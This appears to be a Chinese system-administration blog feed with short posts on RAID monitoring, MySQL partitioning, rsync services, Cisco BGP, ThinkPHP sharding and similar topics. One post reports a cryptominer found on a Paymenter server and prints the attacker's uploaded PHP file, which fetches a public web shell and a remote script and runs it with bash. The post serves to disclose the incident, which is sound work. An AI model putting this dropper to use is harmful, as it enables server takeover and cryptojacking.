软RAID监控脚本

#!/bin/bash

# Define the array device
ARRAY="/dev/md10"

# Check if the array is active
if ! mdadm --detail "$ARRAY" >/dev/null 2>&1; then
    echo "ERROR: Array $ARRAY is not active or does not exist."
    exit 1
fi

# Check the array status
STATUS=$(mdadm --detail "$ARRAY" | grep -i state | awk '{print $NF}')

# Check if the array is in a degraded state
if [[ "$STATUS" != "clean" ]]; then
    echo "WARNING: Array $ARRAY is in a degraded state! Status: $STATUS"
else
    echo "INFO: Array $ARRAY is in a clean state."
fi

[root@103 ~]# cat a.sh
#!/bin/bash

# Define the array device
ARRAY="/dev/md10"

# Check if the array is active
if ! mdadm --detail "$ARRAY" >/dev/null 2>&1; then
    echo "ERROR: Array $ARRAY is not active or does not exist."
    exit 1
fi

# Check the array status
STATUS=$(mdadm --detail "$ARRAY" | grep -i state | awk '{print $NF}')

# Check if the array is in a degraded state
if [[ "$STATUS" != "clean" ]]; then
    echo "WARNING: Array $ARRAY is in a degraded state! Status: $STATUS"
else
    echo "INFO: Array $ARRAY is in a clean state."
fi

paymenter财务主机计费系统有上传漏洞

上半年装了一个体验一下丢着一直没管,今天上去发现有挖矿进程。

 

漏洞具体细节:https://cve.imfht.com/detail/CVE-2025-58048

 

root@localhost:/tmp# lsof -p 1479735 
COMMAND     PID      USER   FD      TYPE             DEVICE SIZE/OFF     NODE NAME
xmrig   1479735 paymenter  cwd       DIR              254,3      117 15784149 /home/paymenter/storage/app/public/ticket-attachments
xmrig   1479735 paymenter  rtd       DIR              254,3      298      128 /
xmrig   1479735 paymenter  txt       REG              254,3  8334576 15784153 /home/paymenter/storage/app/public/ticket-attachments/xmrig
xmrig   1479735 paymenter  mem       REG              254,3      561  3231722 /usr/share/zoneinfo/Asia/Shanghai
xmrig   1479735 paymenter  mem       REG               0,14          70684614 anon_inode:[io_uring] (stat: No such file or directory)
xmrig   1479735 paymenter    0r      CHR                1,3      0t0        4 /dev/null
xmrig   1479735 paymenter    1w     FIFO               0,13      0t0 70686037 pipe
xmrig   1479735 paymenter    2w     FIFO               0,13      0t0 70685837 pipe
xmrig   1479735 paymenter    3u  a_inode               0,14        0     1048 [eventpoll:9,11,13,14,15]
xmrig   1479735 paymenter    4u     unix 0x00000000bd7e1641      0t0    26784 type=STREAM (CONNECTED)
xmrig   1479735 paymenter    5u  a_inode               0,14        0 70684614 [io_uring]
xmrig   1479735 paymenter    6r      REG              254,3      215 15784150 /home/paymenter/storage/app/public/ticket-attachments/XBrs38qG8DslCb8cOGWntcvNOceYQsu2AvFiQYDw.php
xmrig   1479735 paymenter    7r     FIFO               0,13      0t0 70684615 pipe
xmrig   1479735 paymenter    8w     FIFO               0,13      0t0 70684615 pipe
xmrig   1479735 paymenter    9r     FIFO               0,13      0t0 70684616 pipe
xmrig   1479735 paymenter   10w     FIFO               0,13      0t0 70684616 pipe
xmrig   1479735 paymenter   11u  a_inode               0,14        0     1048 [eventfd:17]
xmrig   1479735 paymenter   12r      CHR                1,3      0t0        4 /dev/null
xmrig   1479735 paymenter   13u  a_inode               0,14        0     1048 [eventfd:25]
xmrig   1479735 paymenter   14u  a_inode               0,14        0     1048 [eventfd:27]
xmrig   1479735 paymenter   15u     IPv4          102158557      0t0      TCP XXXXXXX:53580->252.104.20.157.sg.kuroit.com:https (ESTABLISHED)
root@localhost:/tmp# cat /home/paymenter/storage/app/public/ticket-attachments/XBrs38qG8DslCb8cOGWntcvNOceYQsu2AvFiQYDw.php
@PNG
<?php 
system("wget https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php");
system("wget https://bestvip.pt/storage/ticket-attachments/script.sh");
system("bash script.sh")
 ?>

阅读剩余部分...

Mysql分区存储(类似接近pgsql表继承分区)

CREATE TABLE `employees_range_timestamp` (
  `emp_no` INT NOT NULL,
  `birth_date` DATE NOT NULL,
  `first_name` VARCHAR(14) NOT NULL,
  `last_name` VARCHAR(16) NOT NULL,
  `gender` ENUM('M','F') NOT NULL,
  `hire_date` TIMESTAMP NOT NULL
) 
PARTITION BY RANGE(UNIX_TIMESTAMP(hire_date))(    
    PARTITION p0 VALUES LESS THAN ( UNIX_TIMESTAMP('1960-12-31 00:00:00') ),
    PARTITION p1 VALUES LESS THAN ( UNIX_TIMESTAMP('1970-12-31 00:00:00') ),
    PARTITION p2 VALUES LESS THAN ( UNIX_TIMESTAMP('1980-12-31 00:00:00') ),
    PARTITION p3 VALUES LESS THAN ( UNIX_TIMESTAMP('1990-12-31 00:00:00') ),
    PARTITION p4 VALUES LESS THAN ( UNIX_TIMESTAMP('2020-12-31 00:00:00') )
);

之前写项目Mysql库已经超过2T,基础知识不扎实,傻乎乎的写了一堆代码实现自动分表拆成了600个分表(而且还在继续增加中。。。。。),现在项目已经运行起来了想再修改似乎来不及了。。。。

想转pgsql也头大得等老板拍板了才能搞动业务逻辑了。

从业15年IDC转行后的VPS行业经验总结

刚开始都会有个错觉:“个人客户多、出货快、回本快,比企业客户好赚多了。”

但只要干过一阵子,就会发现现实完全相反——真正让人累的,不是机器,而是成堆的工单和沟通。小客户的钱好收,但不好伺候。

买 VPS 更多是“拿来玩”。要么是刚学 Linux,要么是想跑点爬虫、开翻墙节点、建个小网站。很多人第一次接触 SSH,连命令都不会敲。

装个系统不会选模板;重启后连不上 SSH;网站打不开就找客服说“你家机器不稳定”;甚至有人把 /etc 全删了还来问能不能“恢复一下”。

有时候你要花半小时跟对方说明“你的程序崩了不是服务器的问题”;但对方听不懂技术,只认结果:“我访问不了,就是你这边的问题。”

企业客户很少这样,他们会抓包、会看日志,知道边界在哪。可个人客户往往分不清“主机问题”和“网站问题”,什么都找你。

这形成了悖论——便宜的客户用得最多、问得最多、出事最多;而花钱多的客户反而最省心。

 

1个客户利润1w和1000个客户1w利润的基本成本和售后成本是指数级的差别,没有冗余资源接散户形同语饮鸩止渴,这也形成了各种大厂搞全自助操作的衍生路线,不是小厂服务好而是必须好才有生存空间。

 

其次小白客户懂了一些上手后,各种奇怪的骚操作要求,例如要求标配CN2带宽,要求免费换IP、换家庭宽带、换原生IP、双ISP等,市面上有很多亚洲CN2带宽卖得很便宜,但背后的原因是已经在其他客户身上把高价带宽的利润赚回来了,利用冗余带宽做低价引流,造成一些小白认为CN2本应该就是标配,以及各种NAT超售爆炸的价格几块钱一月的便宜错觉。

各种家宽和商业宽带是有一些路子可以做,但都是在法律风险边缘擦边,几乎都是清一色万人骑的IP,还需要各种骚操作配合才能正常使用, 其次一些类似日本地区根本就没法做,一堆人幻想要有日本原生IP,注册资料一眼假,价格要求必须低,没有日本当地住址或者永居,不签合约,随时能换ip,最好还要有CN2直连,这特么比1块钱买一户建要求都高。

综合的来说,现在市场上主流都是翻墙需求,把便宜VPS的IDC产品和家庭宽带混合在一起,其次再将各种机场低价混进来,各种buff叠一起形成了畸形的形态。

 

为什么会有各种遍地便宜vps的情况,大把的人做?

1.各种冗余的带宽,签了很多保底带宽,有其他大客户已经买过单了,卖出即纯利润,(包括各种机场专线带宽都是一样,卖给大客户大企业后使用量低,大量闲置)

2.NAT共享超售

3.法律擦边球,暴雷几率不高(但始终会爆,无法保证)

4.都太闲,几块钱能上论坛到处发帖SEO(但能去扎堆玩的网站越来越少,也没什么地儿可以发,更多是各种TG群和频道的管理员权限能发起制裁)

5.廉价订单普遍需求“情感支持”, “情感关爱”等情绪价值

总的来说纯廉价系列一月搞得好能赚不少小钱,但始终就是解决个温饱, 真来钱还是靠各种大户支撑,正经做的也就拿廉价系列引流, 不正经的就靠嫖点公司的冗余来给自己赚点小钱。

 

题外话:andy1999  许宸皓的YxVM就是这么干的,把东家公司的资源拿出来专门卖机场VPS,然后自己开了个博客https://lowendaff.com/发免费vps引流聚集了不少客户,还在 TG群频道https://t.me/lowendaff_blog 声讨我的时候把自己给彻底暴露了。

 

SnappyMail重置管管理密码

找到配置文件application.ini删除admin_password配置,然后刷新/?admin页面

/data/_data_/_default_/configs/application.ini 

新的初始密码在admin_password.txt里面

/data/_data_/_default_/admin_password.txt

然后再登录进去重置新的密码。

 

本文引用自https://luxing.im/reset-snappymail-admin-portal-password/

https://snappymail.eu/documentation/admin-configuration

inotify+rsync 自动同步systemctl服务

安装inotify

sudo apt update
sudo apt install inotify-tools rsync -y

centos/RHEL系列用dnf安装

 

mkdir /opt/rsync_watch/
cat >/opt/rsync_watch/rsync_watch.sh<<'EOF'
#!/bin/bash

# 加载配置文件
ENV_FILE="/opt/rsync_watch/rsync_watch.env"
if [ -f "$ENV_FILE" ]; then
    export $(grep -v '^#' "$ENV_FILE" | xargs)
fi

# 检查必需变量
if [ -z "$LOCAL_DIR" ] || [ -z "$REMOTE_USER" ] || [ -z "$REMOTE_HOST" ] || [ -z "$REMOTE_DIR" ] || [ -z "$RSYNC_PORT" ]; then
    echo "请先在 $ENV_FILE 配置 LOCAL_DIR, REMOTE_USER, REMOTE_HOST, REMOTE_DIR, RSYNC_PORT"
    exit 1
fi

# RSYNC SSH 参数
RSYNC_SSH="ssh -p ${RSYNC_PORT}"

# RSYNC 默认选项
RSYNC_OPTS=${RSYNC_OPTS:-"-az --delete --exclude='.git/'"}

echo "Starting initial sync..."
rsync $RSYNC_OPTS -e "$RSYNC_SSH" --progress --itemize-changes "$LOCAL_DIR/" "$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/"

echo "Watching for changes in $LOCAL_DIR ..."
inotifywait -m -r -e modify,create,delete,move --format '%w%f' "$LOCAL_DIR" |
while read -r FILE; do
    echo "$(date '+%F %T') Detected change: $FILE"
    rsync $RSYNC_OPTS -e "$RSYNC_SSH" --progress --itemize-changes "$LOCAL_DIR/" "$REMOTE_USER@$REMOTE_HOST:$REMOTE_DIR/"
done
EOF

 

/opt/rsync_watch/rsync_watch.env配置文件

LOCAL_DIR=/path/to/local/dir
REMOTE_USER=user
REMOTE_HOST=remote.host.com
REMOTE_DIR=/path/to/remote/dir
RSYNC_PORT=2222
RSYNC_OPTS="-az --exclude='.git/'"

 

systemd配置

cat>/etc/systemd/system/rsync_watch.service<<EOF
[Unit]
Description=Rsync Watcher for Directory
After=network.target

[Service]
Type=simple
ExecStart=/opt/rsync_watch/rsync_watch.sh
Restart=always
RestartSec=5
User=root
WorkingDirectory=/opt/rsync_watch
Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

[Install]
WantedBy=multi-user.target
EOF

sudo systemctl daemon-reload # 重新加载 systemd 配置
sudo systemctl enable rsync_watch --now # 开机自启
sudo systemctl status rsync_watch # 查看状态

思科配置回顾备忘录

#查看邻居
show ip bgp neighbors <peer-ip>

#拒收默认路由规则
ip prefix-list DEFAULT-ROUTE-v4 seq 5 deny 0.0.0.0/0
ipv6 prefix-list DEFAULT-ROUTE-v6 seq 5 deny ::/0

#刷新收取路由
clear ip bgp <peer-ip> soft in

#查看BGP连接状态
show ip bgp summary
show bgp ipv6 unicast summary

#筛选配置内容
show running-config | section router bgp

#查看bgp邻居
show bgp ipv6 unicast neighbors <peer-ipv6>
show bgp ipv4 unicast neighbors <peer-ipv4>

#查看网卡状态信息
show ip interface brief

#查看宣告路由表
show bgp ipv6 unicast neighbors <peer-ipv6>  advertised-routes
show bgp ipv4 unicast neighbors <peer-ipv4> advertised-routes

router bgp 65000
no bgp enforce-first-as  #关闭拒收一个as非peer as的路由
neighbor <peer-ipv4> default-originate #BGP发送默认路由

思科路由不收IX路由表问题

帮人配置个思科路踩到个坑:翻了半天文档才发现ASR默认开启了 bgp enforce-first-as,导致路由表里首个 AS 不是peer AS 的前缀都在Local Policy Denied Prefixes里面。

router bgp 65536
 no bgp enforce-first-as

IX在发送交换路由的时候把自身AS过滤掉了,导致无法收表。

之前也用了chatgpt寻找答案,关键点也提到了IX在as-path过滤掉了自生AS,但是仍然没有正确解决思路都没提到,反而一直让route-map的规则里面找配置问题和重新配置BGP Session。

Linux暂停进程,恢复进程,接管进程备忘录

在运行的命令下按Ctrl+Z可以暂停进程运行

fg            #恢复到前台继续运行
jobs        # 查看后台任务
fg %1     # 恢复 jobs 列表里的 1 号任务
bg          #后台继续运行(不挂起)
bg %1   #默认恢复最后一个挂起的任务
disown -h %1  #挂起后转后台长期运行

 

reptyr接管pid

apt install reptyr -y # Debian/Ubuntu
yum install reptyr -y # CentOS/RHEL


reptyr 12345  #12345是pid进程

 

这样可以把一个长期运行需要观察输出的进程丢进screen\tmux里面挂机运行了

xpath选择器技巧备忘

position定位去除第一个和最后一个标签

//*[@id="list"]/li[position() > 1 and position() < last()]/text()

position定位从第二个标签开始

//*[@id="list"]/li[position() >= 2]/text()

多个或选用|作为或选

//*[@id="list1"]/p//text() | //*[@id="list2"]/p//text() | //*[@id="list3"]/p//text()

过滤最后一个标签

//*[@id="list"]//p[position() < last()]/text()

获取meta的property, 也可以获取name

//meta[@property="og:title"]/@content

获取img标签scr

//*[@id="info"]/div[1]/img/@src

从dom内选关键词开始

//span[contains(b/text(), "开始的地方")]//a//text()

<span><b>这是开始的地方</b>内容</span>

 

获取div dom内的所有内容

//div[@class="list"]/node()

screen常用命令参数备忘录

screen -S  name。 创建screen会话
screen -Ls 显示进程列表
screen -r sid 恢复某个进程
screen -X -S sid quit 终止某个进程
ctrl+a  d 离开当前进程
ctrl+a k 终止当前进程
screen -S 原始任务名 -X sessionname 修改后的任务名

thinkphp给控制台增加错误显示方法

路径vendor/topthink/framework/src/think/Console.php

 

在 public function run()的 $output->renderException($e);下面增加

 $output->error($e->getTraceAsString());

thinkphp在model里面切换分表

最近开始玩各种上TB的数据库,为了提升性能使用了分表
<?php
namespace app\model;
use think\Model;
class Blog extends Model
{
    protected $name = 'blog;
    protected $suffix = '0000';
    public static int $blog_id = 1;

    public static function shard(?int $id = null)
    {
        if (is_null($id)) {
            $id = self::$blog_id ;
        }
        $table = sprintf('%04d', intdiv($id, 10000));
        return self::suffix($table);
    }
}

读取数据

$blog = Blog::suffix('0001')->find(1);
$blog->name = 'test';
$blog->save();
print_r($blog);

 简化一下

Blog::$blog_id =100000;
Blog::shard()->find(1);

 

批量更新必须初始化才能使用

$data = new Blog;
$data->setSuffix('0002')->saveAll($updateList);

目前基本实现了在blog_0000 blog_0001 blog_0002 等各种分表里面读写数据

感觉thinkphp的model DB切换不是很灵活。

 

还有一些坑,翻烂了doc文档库都没找到,待更新。

php使用browscap判断浏览器客户端类型

官方项目地址:https://github.com/browscap/browscap

官方网站:https://browscap.org/

下载配置

wget "https://browscap.org/stream?q=PHP_BrowsCapINI' -O  /etc/php/browscap.ini

php.ini里面加入

browscap = /etc/php/browscap.ini

 

测试代码

        $browser = get_browser(null, true);
        print_r($browser);

测试结果

Array
(
    [browser_name_regex] => ~^mozilla/5\.0 \(.*linux.*android.4\.2.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*version/.*safari.*$~
    [browser_name_pattern] => Mozilla/5.0 (*Linux*Android?4.2*)*applewebkit*(*khtml*like*gecko*)*Version/*Safari*
    [parent] => Android Browser Generic
    [comment] => Android Browser Generic
    [browser] => Android
    [browser_maker] => Google Inc
    [platform] => Android
    [ismobiledevice] => 1
    [device_type] => Mobile Phone
    [device_pointing_method] => touchscreen
    [version] => 0.0
    [majorver] => 0
    [minorver] => 0
    [istablet] =>
    [crawler] =>
)

fstab生成脚本

index=1
fstab=fstab
for dev in /dev/nvme2n1p*; do
  eval $(blkid -o export "$dev" | grep -E 'UUID=|TYPE=')
  [ -z "$UUID" ] && continue

  case "$index" in
    1)
      mount_point="/boot/efi"
      fs_pass=1
      ;;
    2)
      mount_point="/boot"
      fs_pass=2
      ;;
    3)
      mount_point="none"
      fs_type="swap"
      options="sw"
      fs_pass=0
      ;;
    4)
      mount_point="/"
      fs_pass=1
      ;;
    *)
      mount_point="/mnt/$(basename "$dev")"
      fs_pass=2
      ;;
  esac

  # 类型判断
  fs_type="${TYPE}"
  options="defaults"

  # 如果是 swap 类型,单独处理
  if [ "$TYPE" = "swap" ] || [ "$fs_type" = "swap" ]; then
    echo "UUID=$UUID none swap sw 0 0" >> $fstab
  else
    mkdir -p "$mount_point"
    echo "UUID=$UUID $mount_point $fs_type $options 0 $fs_pass" >> fstab
  fi

  index=$((index+1))
done
[root@